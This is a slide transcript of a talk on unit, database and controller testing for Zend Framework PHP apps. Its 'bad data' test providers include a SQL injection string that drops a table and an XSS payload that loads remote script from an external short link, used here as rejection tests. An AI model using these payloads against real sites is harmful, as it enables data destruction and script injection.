In 2010, I told everyone how to start unit testing Zend Framework applications. In 2011, let’s take this a step further by testing services, work flows and performance. Looking to raise the bar on quality? Let this talk be the push you need to improve your Zend Framework projects.
8. The cost of bugs
Bugs Costs Unittests
100
75
50
25
0
Start Milestone1 Milestone2 Milestone3
9. Maintainability
•- during development
test will fail indicating bugs
•- after sales support
testing if an issue is genuine
- fixing issues won’t break code base
‣ if they do, you need to fix it!
• long term projects
- refactoring made easy
10.
11. Confidence
•- for the developer
code works
•- for the manager
project succeeds
•- for sales / general management / share holders
making profit
•- for the customer
paying for what they want
20. CommentForm
Name:
E-mail Address:
Website:
Comment:
Post
21. Start with the test
<?php
class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
{
protected $_form;
protected function setUp()
{
$this->_form = new Application_Form_CommentForm();
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_form = null;
}
}
22. The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testFormAcceptsValidData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertTrue($this->_form->isValid($data));
}
23. The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '',
'http://xkcd.com/327/','Little Bobby Tables'),
array (str_repeat('x', 100000), '', '', ''),
array ('John Doe', 'jd@example.com',
"http://t.co/@"style="font-size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",
'exploit twitter 9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testFormRejectsBadData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertFalse($this->_form->isValid($data));
}
24. Create the form class
<?php
class Application_Form_CommentForm extends Zend_Form
{
public function init()
{
/* Form Elements & Other Definitions Here ... */
}
}
32. Testing business logic
•- models contain logic
tied to your business
- tied to your storage
- tied to your resources
• no “one size fits all” solution
33. Type: data containers
•- contains structured data
populated through setters and getters
•- perform logic tied to it’s purpose
transforming data
- filtering data
- validating data
• can convert into other data types
- arrays
- strings (JSON, serialized, xml, …)
• are providers to other models
37. Create a simple model
<?php
class Application_Model_Comment
{
protected $_id = 0; protected $_fullName; protected $_emailAddress;
protected $_website; protected $_comment;
public function setId($id) { $this->_id = (int) $id; return $this; }
public function getId() { return $this->_id; }
public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
public function getFullName() { return $this->_fullName; }
public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
public function getEmailAddress() { return $this->_emailAddress; }
public function setWebsite($website) { $this->_website = (string) $website; return $this; }
public function getWebsite() { return $this->_website; }
public function setComment($comment) { $this->_comment = (string) $comment; return $this; }
public function getComment() { return $this->_comment; }
public function populate($row) {
if (is_array($row)) {
$row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
}
if (isset ($row->id)) $this->setId($row->id);
if (isset ($row->fullName)) $this->setFullName($row->fullName);
if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
if (isset ($row->website)) $this->setWebsite($row->website);
if (isset ($row->comment)) $this->setComment($row->comment);
}
public function toArray() {
return array (
'id' => $this->getId(),
'fullName' => $this->getFullName(),
'emailAddress' => $this->getEmailAddress(),
'website' => $this->getWebsite(),
'comment' => $this->getComment(),
);
}
}
40. Not all data from form!
•- model can be populated from
users through the form
- data stored in the database
- a webservice (hosted by us or others)
• simply test it
- by using same test scenario’s from our form
41. The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testModelAcceptsValidData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
$this->fail('Unexpected exception should not be triggered');
}
$data['id'] = 0;
$data['emailAddress'] = strtolower($data['emailAddress']);
$data['website'] = strtolower($data['website']);
$this->assertSame($this->_comment->toArray(), $data);
}
42. The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
Tables'),
array (str_repeat('x', 1000), '', '', ''),
array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter
9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testModelRejectsBadData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
return;
}
$this->fail('Expected exception should be triggered');
}
45. Modify setters: Id & name
public function setId($id)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('id' => $id));
if (!$input->isValid('id')) {
throw new Zend_Exception('Invalid ID provided');
}
$this->_id = (int) $input->id;
return $this;
}
public function setFullName($fullName)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('fullName' => $fullName));
if (!$input->isValid('fullName')) {
throw new Zend_Exception('Invalid fullName provided');
}
$this->_fullName = (string) $input->fullName;
return $this;
}
46. Email & website
public function setEmailAddress($emailAddress)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('emailAddress' => $emailAddress));
if (!$input->isValid('emailAddress')) {
throw new Zend_Exception('Invalid emailAddress provided');
}
$this->_emailAddress = (string) $input->emailAddress;
return $this;
}
public function setWebsite($website)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('website' => $website));
if (!$input->isValid('website')) {
throw new Zend_Exception('Invalid website provided');
}
$this->_website = (string) $input->website;
return $this;
}
47. and comment
public function setComment($comment)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('comment' => $comment));
if (!$input->isValid('comment')) {
throw new Zend_Exception('Invalid comment provided');
}
$this->_comment = (string) $input->comment;
return $this;
}
50. Integration Testing
•- database specific functionality
triggers
- constraints
- stored procedures
- sharding/scalability
• data input/output
- correct encoding of data
- transactions execution and rollback
51. Points of concern
•- beware of automated data types
auto increment sequence ID’s
- default values like CURRENT_TIMESTAMP
• beware of time related issues
- timestamp vs. datetime
- UTC vs. local time
52. The domain Model
• Model object
• Mapper object
• Table gateway object
Read more about it
53. Change our test class
class Application_Model_CommentTest
extends PHPUnit_Framework_TestCase
becomes
class Application_Model_CommentTest
extends Zend_Test_PHPUnit_DatabaseTestCase
54. Setting DB Testing up
protected $_connectionMock;
public function getConnection()
{
if (null === $this->_dbMock) {
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
$this->bootstrap->bootstrap('db');
$db = $this->bootstrap->getBootstrap()->getResource('db');
$this->_connectionMock = $this->createZendDbConnection(
$db, 'zftest'
);
return $this->_connectionMock;
}
}
public function getDataSet()
{
return $this->createFlatXmlDataSet(
realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
}
55. initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
56. Testing SELECT
public function testDatabaseCanBeRead()
{
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
57. selectDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
58. Testing UPDATE
public function testDatabaseCanBeUpdated()
{
$comment = new Application_Model_Comment();
$mapper = new Application_Model_CommentMapper();
$mapper->find(1, $comment);
$comment->setComment('I like you picking up the challenge!');
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
59. updateDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I like you picking up the challenge!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
60. Testing DELETE
public function testDatabaseCanDeleteAComment()
{
$comment = new Application_Model_Comment();
$mapper = new Application_Model_CommentMapper();
$mapper->find(1, $comment)
->delete($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
62. Testing INSERT
public function testDatabaseCanAddAComment()
{
$comment = new Application_Model_Comment();
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('dragonbe@gmail.com')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');
$mapper = new Application_Model_CommentMapper();
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
63. insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
<comment
id="3"
fullName="Michelangelo van Dam"
emailAddress="dragonbe@gmail.com"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>
</dataset>
67. Testing INSERT w/ filter
public function testDatabaseCanAddAComment()
{
$comment = new Application_Model_Comment();
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('dragonbe@gmail.com')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');
$mapper = new Application_Model_CommentMapper();
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
$ds, array ('comment' => array ('id')));
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
$this->assertDataSetsEqual($expected, $filteredDs);
}
68. insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
<comment
fullName="Michelangelo van Dam"
emailAddress="dragonbe@gmail.com"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>
</dataset>
71. Web services remarks
•- you need to comply with an API
that will be your reference
•- You cannot always make a test-call
paid services per call
- test environment is “offline”
- network related issues
86. When to use?
•- GOOD
validation of correct headers
- track redirections
- errors and/or exceptions
- visitor flow (page 1 -> page 2, …)
•NOT SO GOOD
- validation of DOM elements on page
- asserting (error) messages
88. REMARK
•- data providers can be used
to test valid data
- to test invalid data
• but we know it’s taken care of our model
- just checking for error messages in the form
89. Setting up ControllerTest
?php
class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{
public function setUp()
{
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
parent::setUp();
}
…
}
90. Testing Form is on Page
public function testIndexAction()
{
$params = array('action' => 'index', 'controller' => 'index', 'module'
=> 'default');
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertQueryContentContains('h1#pageTitle', 'Please leave a
comment');
$this->assertQueryCount('form#commentForm', 1);
}
91. Test if we hit home
public function testSuccessAction()
{
$params = array('action' => 'success', 'controller' => 'index',
'module' => 'default');
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertRedirectTo('/');
}
92. Test Processing
public function testProcessAction()
{
$testData = array (
'name' => 'testUser',
'mail' => 'test@example.com',
'web' => 'http://www.example.com',
'comment' => 'This is a test comment',
);
$params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
$url = $this->url($this->urlizeOptions($params));
$this->request->setMethod('post');
$this->request->setPost($testData);
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertResponseCode(302);
$this->assertRedirectTo('/index/success');
$this->resetRequest();
$this->resetResponse();
$this->dispatch('/index/success');
$this->assertQueryContentContains('span#fullName', $testData['name']);
}
93. Redirect test
public function testSuccessAction()
{
$params = array('action' => 'success', 'controller' => 'index',
'module' => 'default');
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertRedirectTo('/');
}
96. Conclusion
• unit testing is simple
• no excuses not to test
•- test what counts
what makes you loose money if it breaks?
•- mock out whatever’s expensive
databases, filesystem, services, …
97. Thank you
• source code:
http://github.com/DragonBe/zftest
• your rating:
http://joind.in/talk/view/3790
•- follow me:
twitter: @DragonBe
- facebook: DragonBe
98. • January 27-28, 2012 Antwerp Belgium
• 2 day conference
• community driven
• low prices
• ticket sales start in November